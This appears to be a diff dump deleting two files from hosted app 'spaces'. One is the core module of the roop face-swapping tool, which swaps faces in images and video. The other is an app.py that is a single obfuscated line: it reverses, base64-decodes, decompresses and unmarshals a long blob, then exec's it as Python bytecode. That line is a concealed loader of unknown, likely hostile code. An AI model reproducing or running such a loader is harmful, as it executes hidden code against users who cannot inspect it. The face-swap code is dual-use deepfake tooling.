-# Link to Mermaid model and code:  [![](https://mermaid.ink/img/pako:eNp1U8mO2zAM_RXCZ-eQpZccCmSZTIpOMQESIAdnDrRMx0JkydXSNDOYfy_lpUgD1AfBfnx8fCTlj0SYgpJ5UipzFRVaD4flSQM_YjwafcVJ9-FCfrbYVGA0ZQeLUkt9futiOM72pEh4QFijR9iTf2tzsx3Z0ti6hxslvb_Lm0TSNPvBDhQsg1TFXXAag7NBef_9hdDqFA6knbEbdgvGwu7mjRXVkDOLOV-yNXmytdQEsoROvTfi4EhK9XTSxUNz_mo4uVHm1lPyce-uR1k_n2RHymHRNPAvNXaTT7NVZYwjeDECVbS4UiYUAyc2lc-yFoPXxkujHaAl2G54PCjIpfBssZAGtsZ5KlLYkjWXkMLiuOfjPVhiymr3_x4qS7wicneTFuMW6Gdxlb6Cb7oJvt1LbEpMso08sza8MnqskA9jL27Ij72Jafb0G-tGkQNTdgKOy_XcFP5GDxFbWsJLV3FQid2LWfZsfpHVqAXBCBYa1e2dAHUBu5Ar6dgby0ghPWxQWk2Oh_L0M0h_S2Ep0YHUrXFHXD_msefo5XEkfFWBK8atdkA7mgfoalpATJI0qfnWoCz4b_iI0VPiK6rplMz5taASg_Kn5KQ_mYrBm_1Ni2TubaA0CU2BntYSeQl1Mi9ROfr8A8FBGds?type=png)](https://mermaid.live/edit#pako:eNp1U8mO2zAM_RXCZ-eQpZccCmSZTIpOMQESIAdnDrRMx0JkydXSNDOYfy_lpUgD1AfBfnx8fCTlj0SYgpJ5UipzFRVaD4flSQM_YjwafcVJ9-FCfrbYVGA0ZQeLUkt9futiOM72pEh4QFijR9iTf2tzsx3Z0ti6hxslvb_Lm0TSNPvBDhQsg1TFXXAag7NBef_9hdDqFA6knbEbdgvGwu7mjRXVkDOLOV-yNXmytdQEsoROvTfi4EhK9XTSxUNz_mo4uVHm1lPyce-uR1k_n2RHymHRNPAvNXaTT7NVZYwjeDECVbS4UiYUAyc2lc-yFoPXxkujHaAl2G54PCjIpfBssZAGtsZ5KlLYkjWXkMLiuOfjPVhiymr3_x4qS7wicneTFuMW6Gdxlb6Cb7oJvt1LbEpMso08sza8MnqskA9jL27Ij72Jafb0G-tGkQNTdgKOy_XcFP5GDxFbWsJLV3FQid2LWfZsfpHVqAXBCBYa1e2dAHUBu5Ar6dgby0ghPWxQWk2Oh_L0M0h_S2Ep0YHUrXFHXD_msefo5XEkfFWBK8atdkA7mgfoalpATJI0qfnWoCz4b_iI0VPiK6rplMz5taASg_Kn5KQ_mYrBm_1Ni2TubaA0CU2BntYSeQl1Mi9ROfr8A8FBGds)

spaces/ALSv/FSW/roop/core.py

@@ -1,214 +0,0 @@
-#!/usr/bin/env python3
-import os
-import sys
-# single thread doubles cuda performance - needs to be set before torch import
-if any(arg.startswith('--execution-provider') for arg in sys.argv):
-    os.environ['OMP_NUM_THREADS'] = '1'
-# reduce tensorflow log level
-os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
-import warnings
-from typing import List
-import platform
-import signal
-import shutil
-import argparse
-import torch
-import onnxruntime
-import tensorflow
-
-import roop.globals
-import roop.metadata
-import roop.ui as ui
-from roop.predictor import predict_image, predict_video
-from roop.processors.frame.core import get_frame_processors_modules
-from roop.utilities import has_image_extension, is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clean_temp, normalize_output_path
-
-if 'ROCMExecutionProvider' in roop.globals.execution_providers:
-    del torch
-
-warnings.filterwarnings('ignore', category=FutureWarning, module='insightface')
-warnings.filterwarnings('ignore', category=UserWarning, module='torchvision')
-
-
-def parse_args() -> None:
-    signal.signal(signal.SIGINT, lambda signal_number, frame: destroy())
-    program = argparse.ArgumentParser(formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=100))
-    program.add_argument('-s', '--source', help='select an source image', dest='source_path')
-    program.add_argument('-t', '--target', help='select an target image or video', dest='target_path')
-    program.add_argument('-o', '--output', help='select output file or directory', dest='output_path')
-    program.add_argument('--frame-processor', help='frame processors (choices: face_swapper, face_enhancer, ...)', dest='frame_processor', default=['face_swapper'], nargs='+')
-    program.add_argument('--keep-fps', help='keep original fps', dest='keep_fps', action='store_true', default=False)
-    program.add_argument('--keep-audio', help='keep original audio', dest='keep_audio', action='store_true', default=True)
-    program.add_argument('--keep-frames', help='keep temporary frames', dest='keep_frames', action='store_true', default=False)
-    program.add_argument('--many-faces', help='process every face', dest='many_faces', action='store_true', default=False)
-    program.add_argument('--video-encoder', help='adjust output video encoder', dest='video_encoder', default='libx264', choices=['libx264', 'libx265', 'libvpx-vp9'])
-    program.add_argument('--video-quality', help='adjust output video quality', dest='video_quality', type=int, default=18, choices=range(52), metavar='[0-51]')
-    program.add_argument('--max-memory', help='maximum amount of RAM in GB', dest='max_memory', type=int, default=suggest_max_memory())
-    program.add_argument('--execution-provider', help='available execution provider (choices: cpu, ...)', dest='execution_provider', default=['cpu'], choices=suggest_execution_providers(), nargs='+')
-    program.add_argument('--execution-threads', help='number of execution threads', dest='execution_threads', type=int, default=suggest_execution_threads())
-    program.add_argument('-v', '--version', action='version', version=f'{roop.metadata.name} {roop.metadata.version}')
-
-    args = program.parse_args()
-
-    roop.globals.source_path = args.source_path
-    roop.globals.target_path = args.target_path
-    roop.globals.output_path = normalize_output_path(roop.globals.source_path, roop.globals.target_path, args.output_path)
-    roop.globals.frame_processors = args.frame_processor
-    roop.globals.headless = args.source_path or args.target_path or args.output_path
-    roop.globals.keep_fps = args.keep_fps
-    roop.globals.keep_audio = args.keep_audio
-    roop.globals.keep_frames = args.keep_frames
-    roop.globals.many_faces = args.many_faces
-    roop.globals.video_encoder = args.video_encoder
-    roop.globals.video_quality = args.video_quality
-    roop.globals.max_memory = args.max_memory
-    roop.globals.execution_providers = decode_execution_providers(args.execution_provider)
-    roop.globals.execution_threads = args.execution_threads
-
-
-def encode_execution_providers(execution_providers: List[str]) -> List[str]:
-    return [execution_provider.replace('ExecutionProvider', '').lower() for execution_provider in execution_providers]
-
-
-def decode_execution_providers(execution_providers: List[str]) -> List[str]:
-    return [provider for provider, encoded_execution_provider in zip(onnxruntime.get_available_providers(), encode_execution_providers(onnxruntime.get_available_providers()))
-            if any(execution_provider in encoded_execution_provider for execution_provider in execution_providers)]
-
-
-def suggest_max_memory() -> int:
-    if platform.system().lower() == 'darwin':
-        return 4
-    return 16
-
-
-def suggest_execution_providers() -> List[str]:
-    return encode_execution_providers(onnxruntime.get_available_providers())
-
-
-def suggest_execution_threads() -> int:
-    if 'DmlExecutionProvider' in roop.globals.execution_providers:
-        return 1
-    if 'ROCMExecutionProvider' in roop.globals.execution_providers:
-        return 1
-    return 8
-
-
-def limit_resources() -> None:
-    # prevent tensorflow memory leak
-    gpus = tensorflow.config.experimental.list_physical_devices('GPU')
-    for gpu in gpus:
-        tensorflow.config.experimental.set_virtual_device_configuration(gpu, [
-            tensorflow.config.experimental.VirtualDeviceConfiguration(memory_limit=1024)
-        ])
-    # limit memory usage
-    if roop.globals.max_memory:
-        memory = roop.globals.max_memory * 1024 ** 3
-        if platform.system().lower() == 'darwin':
-            memory = roop.globals.max_memory * 1024 ** 6
-        if platform.system().lower() == 'windows':
-            import ctypes
-            kernel32 = ctypes.windll.kernel32
-            kernel32.SetProcessWorkingSetSize(-1, ctypes.c_size_t(memory), ctypes.c_size_t(memory))
-        else:
-            import resource
-            resource.setrlimit(resource.RLIMIT_DATA, (memory, memory))
-
-
-def release_resources() -> None:
-    if 'CUDAExecutionProvider' in roop.globals.execution_providers:
-        torch.cuda.empty_cache()
-
-
-def pre_check() -> bool:
-    if sys.version_info < (3, 9):
-        update_status('Python version is not supported - please upgrade to 3.9 or higher.')
-        return False
-    if not shutil.which('ffmpeg'):
-        update_status('ffmpeg is not installed.')
-        return False
-    return True
-
-
-def update_status(message: str, scope: str = 'ROOP.CORE') -> None:
-    print(f'[{scope}] {message}')
-    if not roop.globals.headless:
-        ui.update_status(message)
-
-
-def start() -> None:
-    for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
-        if not frame_processor.pre_start():
-            return
-    # process image to image
-    if has_image_extension(roop.globals.target_path):
-        if predict_image(roop.globals.target_path):
-            destroy()
-        shutil.copy2(roop.globals.target_path, roop.globals.output_path)
-        for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
-            update_status('Progressing...', frame_processor.NAME)
-            frame_processor.process_image(roop.globals.source_path, roop.globals.output_path, roop.globals.output_path)
-            frame_processor.post_process()
-            release_resources()
-        if is_image(roop.globals.target_path):
-            update_status('Processing to image succeed!')
-        else:
-            update_status('Processing to image failed!')
-        return
-    # process image to videos
-    if predict_video(roop.globals.target_path):
-        destroy()
-    update_status('Creating temp resources...')
-    create_temp(roop.globals.target_path)
-    update_status('Extracting frames...')
-    extract_frames(roop.globals.target_path)
-    temp_frame_paths = get_temp_frame_paths(roop.globals.target_path)
-    for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
-        update_status('Progressing...', frame_processor.NAME)
-        frame_processor.process_video(roop.globals.source_path, temp_frame_paths)
-        frame_processor.post_process()
-        release_resources()
-    # handles fps
-    if roop.globals.keep_fps:
-        update_status('Detecting fps...')
-        fps = detect_fps(roop.globals.target_path)
-        update_status(f'Creating video with {fps} fps...')
-        create_video(roop.globals.target_path, fps)
-    else:
-        update_status('Creating video with 30.0 fps...')
-        create_video(roop.globals.target_path)
-    # handle audio
-    if roop.globals.keep_audio:
-        if roop.globals.keep_fps:
-            update_status('Restoring audio...')
-        else:
-            update_status('Restoring audio might cause issues as fps are not kept...')
-        restore_audio(roop.globals.target_path, roop.globals.output_path)
-    else:
-        move_temp(roop.globals.target_path, roop.globals.output_path)
-    # clean and validate
-    clean_temp(roop.globals.target_path)
-    if is_video(roop.globals.target_path):
-        update_status('Processing to video succeed!')
-    else:
-        update_status('Processing to video failed!')
-
-
-def destroy() -> None:
-    if roop.globals.target_path:
-        clean_temp(roop.globals.target_path)
-    quit()
-
-
-def run() -> None:
-    parse_args()
-    if not pre_check():
-        return
-    for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
-        if not frame_processor.pre_check():
-            return
-    limit_resources()
-    if roop.globals.headless:
-        start()
-    else:
-        window = ui.init(start, destroy)
-        window.mainloop()

spaces/AQaTaHaGoD/GoD/app.py

@@ -1 +0,0 @@
-_ = lambda __ : __import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b64decode(__[::-1])));exec((_)(b'=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